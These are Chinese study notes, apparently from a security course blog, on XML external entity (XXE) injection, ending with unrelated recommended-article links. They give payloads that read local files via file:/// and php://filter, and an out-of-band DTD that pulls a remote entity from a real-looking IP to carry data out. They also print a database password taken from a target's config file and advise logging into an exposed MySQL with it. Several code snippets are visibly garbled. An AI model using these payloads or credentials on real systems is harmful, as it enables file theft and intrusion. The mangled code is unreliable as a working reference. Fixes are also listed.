XXE - 实体注入(xml外部实体注入)

XXE的危害和SSRF有点像

XXE = XML外部实体注入 (被各种后端脚本调用)

=>XML(存数据不会做任何事情)(像html|传输数据|无预定义)

=>外部实体()

=>注入 [用户输入的数据被当做代码进行执行]

预定义:(预先定义好的东西)

var_dump() 查看数据类型?

eval() 可以命令执行?

echo 他可以输出?

前端代码:

<b></b> 加粗

<h1></h1> 大标题

XML:

<b></b> 名字而已

<h1></h1>

XML:是一个纯文本 存储信息(可以自己发明标签)

<?xml version="1.0"?> 1.0版本

DTD(通过特殊的命令去其他文件读取信息)

SYSTEM

XML部分

引用(1.txt) 包含(include) 目的处理代码冗余

mysqli_connect();

mysqli_query();

mysqli_close();

危害:

XXE 可以通过dtd去读取、访问其他文件或者网站

实体 => 变量 调用变量&实体名;

<!DOCTYPE scan [

<!ENTITY test SYSTEM "file:///c:/1.txt">]> DTD部分

将c的1.txt文件放入test中

<scan>&test;</scan> XML部分

simplexml_load_string() // 读取字符串当作xml执行

simplexml_load_file() // 读取文件当作 xml执行

<?php test = '\\]\>\\&test;\'; obj = simplexml_load_string(test, 'SimpleXMLElement', LIBXML_NOENT); print_r(obj); ?>

变量test里面是XML 然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

XSS平台:

你打XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看

XML: 请求一个你自己搭建的php文件,其他的文件。(你想要的数据给带出来)

php文件记录请求的传参内容(记录文件)

等你去看就可以了

没有回显,外带出来:

1、获取信息

2、发送信息

file:/// 正常情况下,网站不应该使用的协议

PHP伪协议(PHP的内部协议)

php://filter/read=convert.base64-encode/resource=a.txt

如何寻找XXE:

1、看到数据包莫名其妙传递、返回XML代码可以试试

2、代码审计

代码审计:

1、静态审计(纯看)

2、动态审计(网站运行起来,然后通过一些特殊手法,去追踪具体的代码流程)

3、小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行动态调试

有些代码会被引用几百次 如何确定这段是否实现 加入相关语句 看页面回显 有回显就是执行了 没有回显就是没执行

静态:

1、全文通读(可拿bluecms练习)

2、危险函数定位 eval() mysqli_query(

$GLOBALS['HTTP_RAW_POST_DATA'] => 获取POST原始数据 (form表单)

<?xml:version="1.0">

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy
scms/conn/conn.php">

8 remote SYsTEM "http://59.63.200.79:8014/xxe/1.xml">

<!ENTITY

&remote;

&send;

]>

使用时更改红色就对路径

有的网站可能开了3306 远程数据库连接 即可用xml实体漏洞爆出的密码连接

<?php

error_reporting(E_ALL ^ E_NOTICE);

header("content-type:text/html;charset=utf-8");

session_start();

$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");

md5 => 明文能转密文 密文不能转明文 (e99d2e51cbefe75251f1d40821e07a32)

1.48

修复XXE:

1、libxml_disable_entity_loader(true); PHP的(禁止加载XML实体)

2、过滤SYSTEM关键字

总结:

1、XXE => XML外部实体注入 (目标执行了我们提交的XML代码)

2、XXE代码层(套)

3、危害 => SSRF 差不多

4、回显问题 => 2步走的方法外带出来

5、如何找这个漏洞(1、看到传参或者返回包出现xml 2、代码审计)

6、代码审计(动态、静态[全文、危险函数]、小技巧)

7、seay工具(全文搜索,定位函数)

8、本地测试,最好可以开一个全新环境,以免出问题

9、以前存在的漏洞,去看了之后可以尝试去找新的漏洞(查看补丁)

相关推荐
V***u453几秒前
【学术会议论文投稿】Spring Boot实战:零基础打造你的Web应用新纪元
前端·spring boot·后端
i听风逝夜39 分钟前
Web 3D地球实时统计访问来源
前端·后端
iMonster43 分钟前
React 组件的组合模式之道 (Composition Pattern)
前端
呐呐呐呐呢1 小时前
antd渐变色边框按钮
前端
元直数字电路验证1 小时前
Jakarta EE Web 聊天室技术梳理
前端
wadesir1 小时前
Nginx配置文件CPU优化(从零开始提升Web服务器性能)
服务器·前端·nginx
牧码岛1 小时前
Web前端之canvas实现图片融合与清晰度介绍、合并
前端·javascript·css·html·web·canvas·web前端
灵犀坠1 小时前
前端面试八股复习心得
开发语言·前端·javascript
9***Y481 小时前
前端动画性能优化
前端
网络点点滴1 小时前
Vue3嵌套路由
前端·javascript·vue.js